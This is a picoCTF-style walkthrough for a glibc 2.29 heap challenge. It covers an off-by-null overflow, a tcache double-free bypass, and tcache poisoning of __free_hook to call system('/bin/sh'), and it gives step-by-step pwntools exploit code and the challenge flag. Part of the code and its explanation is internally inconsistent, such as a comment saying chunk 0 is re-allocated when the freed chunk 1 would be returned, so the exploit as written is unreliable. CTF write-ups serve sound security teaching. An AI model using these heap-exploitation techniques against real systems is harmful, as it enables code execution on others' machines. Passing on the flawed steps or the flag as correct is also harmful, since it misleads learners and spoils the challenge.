Description
A heap menu challenge running on libc 2.29. You can add and remove power-up strings. The binary hands you a libc address at startup and contains a hidden win function. Exploit the heap to get code execution.
Setup
Download the binary and connect to the server.
wget <url>/zero_to_herochmod +x zero_to_heronc <HOST> <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Understand the binary and its bugs
ObservationThe binary offers add and remove operations on heap strings with no obvious sanitization. Reversing it in Ghidra will show how input is read and whether freed pointers get cleared, before any exploit gets written.Open the binary in Ghidra or GDB. The menu has add, remove, and show operations on heap-allocated strings. Two bugs are present: (1) the delete option frees the chunk but leaves the pointer intact, creating a use-after-free condition. (2) The add option null-terminates user input by writing a zero one byte past the last byte written, so filling a chunk of size N exactly causes the first byte of the next chunk's size field to become 0x00. This is an off-by-null (also called off-by-one null byte) overflow. The binary also prints the address of system() at startup, giving a direct libc leak.bashchecksec zero_to_herobashghidra zero_to_hero &bashstrings zero_to_hero | grep -i flagWhat didn't work first
Tried: Run strings to find the flag or the win function address directly in the binary.
strings shows the literals baked into the binary, but the flag is not one of them; it lives on the remote server. The win function address also moves with ASLR on every run, so reading it statically gives a file offset, not a runtime address you can jump to without a leak.
Tried: Assume the off-by-one writes a full byte of arbitrary value, not just a null byte.
The bug is specifically an off-by-null: the terminator is always 0x00. Only the low byte of the next chunk's size field can be zeroed, which limits the corruption to shrinking the recorded size. An arbitrary one-byte write would be a far stronger primitive and would call for a different path.
Learn more
Off-by-null explained. When C code does
buf[len] = '\0'after readinglenbytes into a buffer of exactlylenbytes, the null terminator lands one byte past the allocation. On the heap that byte is typically the low byte of the following chunk's size field. Changing it to zero truncates the size, which causes the allocator to mis-classify the chunk into a smaller bin.Libc 2.29 tcache double-free protection. Starting in glibc 2.29,
tcache_entrystores akeyfield equal to the address of the tcache struct. When a chunk is freed, the allocator checks whether that field already equals the tcache address and aborts if so, preventing a naive double-free. The poison-null-byte trick bypasses this by making the same physical chunk appear to have two different sizes, so it lands in two separate tcache bins and the key check never fires.Step 2Leak libc base from the startup message
ObservationThe binary prints a hexadecimal address labeled 'Take this:' at startup, so it is deliberately leaking a libc symbol. Subtracting the known offset of system() from the provided libc.so.6 gives the randomized libc base.Connect to the remote and read the first line. It contains a hexadecimal address of system(). Subtract the offset of system in the provided libc to compute libc_base. Then derive the addresses of __free_hook and system for later use.pythonpython3 << 'EOF' from pwn import * elf = ELF('./zero_to_hero') libc = ELF('./libc.so.6') # libc provided with the challenge p = remote('<HOST>', <PORT_FROM_INSTANCE>) # Binary prints: "It's dangerous to go alone. Take this: 0x<addr>" p.recvuntil(b'Take this: ') system_leak = int(p.recvline().strip(), 16) libc.address = system_leak - libc.sym['system'] log.info(f'libc base: {hex(libc.address)}') free_hook = libc.sym['__free_hook'] system = libc.sym['system'] EOFWhat didn't work first
Tried: Compute libc base by subtracting the offset of system from a libc you download yourself rather than the one bundled with the challenge.
Different libc builds carry different symbol offsets even at the same glibc version. The wrong binary gives a libc_base off by a constant, so every derived address, __free_hook included, lands in unmapped memory and segfaults on first dereference. Always use the exact libc.so.6 shipped with the challenge.
Tried: Skip reading the leak and instead brute-force libc base by trying common load addresses.
With ASLR on, the libc base is randomized across a 28-bit window, roughly 268 million possibilities on 64-bit Linux. Brute-forcing that over a network would take far too long. The binary prints the system address on purpose, so parse it directly.
Learn more
Why libc base randomizes. ASLR randomizes the load address of every shared library at each process launch. Because all symbols inside the library are at fixed offsets from that base, one leaked pointer is enough to anchor the entire address space of libc.
__free_hook. Glibc exposes a function pointer called
__free_hookin a writable data segment. When set to a non-null value, every call tofree(ptr)is redirected to__free_hook(ptr)before the allocator logic runs. Writingsystemthere and freeing a chunk containing"/bin/sh"therefore callssystem("/bin/sh").Step 3Corrupt a chunk size with the off-by-null to set up a double-free
ObservationThe input reader null-terminates one byte past the requested allocation size. So filling a chunk of exactly 0x108 bytes overwrites the low byte of the next chunk's size field from 0x10 to 0x00, landing it in a different tcache bin and slipping past the libc 2.29 double-free key check.Allocate chunk A of size 0x108 (stored as 0x110 with metadata) and chunk B of size 0x108. Free chunk B so it enters the 0x110 tcache bin. Fill chunk A with exactly 0x108 bytes; the null terminator writes 0x00 over the low byte of chunk B's size field, changing 0x110 to 0x100. Now free chunk B a second time. Because the size byte says 0x100, tcache places it in the 0x100 bin without triggering the double-free check (it already lived in the 0x110 bin). Chunk B now exists simultaneously in both the 0x100 and 0x110 tcache lists.python# Helper functions (add/remove wrap the menu) def add(p, size, data): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size: ', str(size).encode()) p.sendafter(b'power: ', data) def remove(p, idx): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'index: ', str(idx).encode()) # Stage: create the double-free condition add(p, 0x108, b'A' * 8) # chunk 0 (small, placeholder) add(p, 0x108, b'B' * 8) # chunk 1 -- will be corrupted remove(p, 1) # free chunk 1 -> 0x110 tcache bin # Fill chunk 0 to the brim; null terminator hits chunk 1's size byte add(p, 0x108, b'C' * 0x108) # re-allocates chunk 0, overwrites size remove(p, 1) # free chunk 1 again -> 0x100 tcache binWhat didn't work first
Tried: Attempt a straightforward double-free without the off-by-null step, expecting the chunk to appear twice in the same tcache bin.
Libc 2.29 added a key field to tcache_entry, set to the address of the tcache struct on free. When the allocator frees a chunk it checks whether key already holds that address and calls abort() if so, so freeing the same chunk twice in the same bin crashes the process. The off-by-null is what lands the second free in a different bin, 0x100 rather than 0x110, so the key comparison never runs.
Tried: Use chunk sizes of 0x10 bytes instead of 0x108 to make the corruption easier to reason about.
Very small allocations land in a size class where the low byte of the size field may already be 0x00, so zeroing it changes nothing about bin selection. The sizes here are chosen so the target chunk's stored size has a non-zero low byte, the 0x10 in 0x110, which becomes 0x00 and moves it from the 0x110 bin to the 0x100 bin. The gap has to span at least one tcache size class.
Learn more
Tcache bin selection. The tcache is an array of 64 singly-linked lists, each corresponding to a chunk size class (0x20, 0x30, ... 0x410). The bin index is computed from the chunk's recorded size field. By changing the size byte from 0x10 to 0x00 (i.e. the overall size from 0x110 to 0x100), the allocator routes the second free into a different bin, so the duplicate-detection key comparison is never triggered.
Step 4Tcache poisoning: overwrite __free_hook
ObservationChunk B now sits in both the 0x100 and 0x110 tcache bins at once. Writing __free_hook's address as the fd pointer on the first re-allocation means a later malloc from the 0x100 bin returns __free_hook itself as a writable allocation, ready to be overwritten with system().Allocate from the 0x100 bin to get chunk B back and write the address of __free_hook as its fd (forward pointer). Then allocate from the 0x110 bin to get chunk B again. Now the 0x100 bin's head points to __free_hook. Allocate once more from the 0x100 bin; malloc returns the __free_hook address as a valid allocation. Write the address of system() into it. Finally, add a new chunk containing the string '/bin/sh\x00' and free it. free() checks __free_hook, finds system, and calls system('/bin/sh').bash# Tcache poisoning + __free_hook overwrite add(p, 0xf8, p64(free_hook)) # chunk B (0x100 bin): poison fd -> __free_hook add(p, 0x108, b'D' * 8) # drain 0x110 bin (returns chunk B again) add(p, 0xf8, b'E' * 8) # advance 0x100 head past chunk B add(p, 0xf8, p64(system)) # next alloc returns __free_hook; write system() # Trigger: free a chunk whose data is "/bin/sh" add(p, 0x20, b'/bin/sh\x00') remove(p, <idx_of_binsh_chunk>) # free -> __free_hook(ptr) -> system("/bin/sh") p.interactive()Expected output
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}What didn't work first
Tried: Overwrite a GOT entry for free() instead of __free_hook to redirect execution to system().
The binary is compiled with full RELRO, which remaps the GOT read-only once dynamic linking finishes, so writing to a GOT address segfaults immediately. __free_hook is the right target because it lives in a writable libc data segment that RELRO does not cover.
Tried: Write system() directly into the fd slot of the poisoned chunk and skip the separate __free_hook allocation step.
The fd field points at the next free chunk in the tcache list, and malloc returns addresses taken from fd, not the value stored in it. Write system() as the fd and malloc tries to hand back system()'s code page as a heap allocation, which faults or returns something non-writable. The sequence is: poison fd with __free_hook's address, let malloc return a writable allocation there, then write system() into it.
Learn more
Why tcache has no integrity checks on fd. The tcache implementation in glibc does not validate that a chunk's forward pointer points into the heap. It simply returns whatever address is stored there on the next
malloccall of the matching size. This makes tcache poisoning trivially powerful: one write to an fd field gives arbitrary allocation anywhere in the process address space, including writable libc data like__free_hook.__free_hook as the write target. Overwriting a GOT entry would also work on a non-full-RELRO binary, but
__free_hookis a canonical target because it lives in a known writable libc region, it fires on anyfree(), and the argument passed to the hook is exactly the pointer being freed, so controlling the chunk content means controlling the argument to system().
Interactive tools
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
Flag
Reveal flag
picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}
The flag hash suffix varies per instance. The technique is: off-by-null corrupts a tcache chunk size to bypass the double-free check in libc 2.29, enabling tcache poisoning to overwrite __free_hook with system(), then freeing a '/bin/sh' chunk for shell access.